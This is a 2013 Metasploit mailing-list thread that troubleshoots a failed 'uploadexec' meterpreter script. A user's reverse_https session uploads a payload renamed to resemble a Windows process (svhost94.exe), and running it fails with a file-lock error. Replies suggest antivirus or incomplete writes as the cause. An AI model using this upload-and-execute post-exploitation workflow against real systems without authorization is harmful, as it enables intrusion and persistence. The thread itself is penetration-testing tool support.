Re: Problems executing file on target using uploadexec

[CED <consult () covenantedesign com>]

this sounds to me like the writing of the file isn't completing.

On 2/19/2013 5:55 PM, la zariguella wrote:
> Hi Robin, thanks for your answer!
>
> I test uploading a text file, same error. And file on target was untuched.
>
> I will make more tests here to see what can be happening ...
>
> Thanks for your help guys!
>
>
> 2013/2/19 Robin Wood <robin () digininja org <mailto:robin () digininja org>>
>
>     On 20 February 2013 01:36, la zariguella <lazariguella () gmail com
>     <mailto:lazariguella () gmail com>> wrote:
>
>         Well , same error disabling antivirus, and for double check,
>         same error after uninstalling antivirus and reboot target.
>         (Running as admin user on target)
>
>         Maybe you cant point me to the right documentation, to
>         understand better how can i solve this issue.
>
>         Thanks!
>
>
>     Have you tried uploading a simple text file just in case something
>     else is picking the exe up and affecting it?
>
>     Robin
>
>
>         2013/2/19 Carlos Perez <carlos_perez () darkoperator com
>         <mailto:carlos_perez () darkoperator com>>
>
>
>             would test with first disabling the AV to be sure, if that
>             is the case I will need to port and update that script to
>             a post module, the API it uses is old i think I wrote it
>             in 09 before there was even a post mixin
>
>             On Tuesday, February 19, 2013, Carlos Perez wrote:
>
>                 Could there be an AV inspecting the file after written
>                 to the target that could be locking it for a second o two?
>
>                 Sent from my iPhone
>
>                 On Feb 19, 2013, at 9:04 PM, la zariguella
>                 <lazariguella () gmail com> wrote:
>
> >                 Hi guys,
> >
> >                 I'm having a little problem here using uploadexec
> >                 meterpreter script.
> >
> >                 Target => Windows XP SP3 Fully Patched running Java
> >                 1.7.0_13
> >                 Local box => Mac Osx 10.7.4
> >                 Ruby => 1.9.2p320
> >                 Metasploit  => metasploit v4.6.0-dev [core:4.6 api:1.0]
> >                 Payload => meterpreter reverse_https
> >
> >                 Im trying to execute a file on target, using
> >                 uploadexec meterpreter script, and im getting the
> >                 following error:
> >
> >                 meterpreter > run uploadexec -e msf.exe
> >                 [*] Running Upload and Execute Meterpreter script....
> >                 [*]     Uploading msf.exe....
> >                 [*]     msf.exe uploaded!
> >                 [*]     Uploaded as C:\WINDOWS\TEMP\svhost94.exe
> >                 [*]     running command C:\WINDOWS\TEMP\svhost94.exe
> >                 [*] Error Running Command
> >                 C:\WINDOWS\TEMP\svhost94.exe:
> >                 Rex::Post::Meterpreter::RequestError
> >                 stdapi_sys_process_execute: Operation failed: The
> >                 process cannot access the file because it is being
> >                 used by another process.
> >                 [-] Error in script:
> >                 Rex::Post::Meterpreter::RequestError
> >                 stdapi_sys_process_execute: Operation failed: The
> >                 process cannot access the file because it is being
> >                 used by another process.
> >                 meterpreter >
> >
> >                 On the remote system i have admin privileges, and i
> >                 can run the executable file mannualy without any
> >                 problem. I am seeing the error is:
> >
> >                 *Error Running Command C:\WINDOWS\TEMP\svhost94.exe:
> >                 Rex::Post::Meterpreter::RequestError
> >                 stdapi_sys_process_execute: Operation failed: The
> >                 process cannot access the file because it is being
> >                 used by another process.*
> >
> >                 But i cant find too much info about what can be
> >                 happening.
> >
> >                 Could you please help me with this issue?
> >
> >                 .:ZmN:.
> >
> >
> >
> >
> >                 _______________________________________________
> >                 https://mail.metasploit.com/mailman/listinfo/framework
>
>
>
>         _______________________________________________
>         https://mail.metasploit.com/mailman/listinfo/framework
>
>
>
>
>
> _______________________________________________
> https://mail.metasploit.com/mailman/listinfo/framework


-- 
<img src="http://covenantedesign.com/logo.jpg"; border ="0">
995 Maple Hill Road
Castleton, New York 12033
518-331-5061
Consult () CovenanteDesign com

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework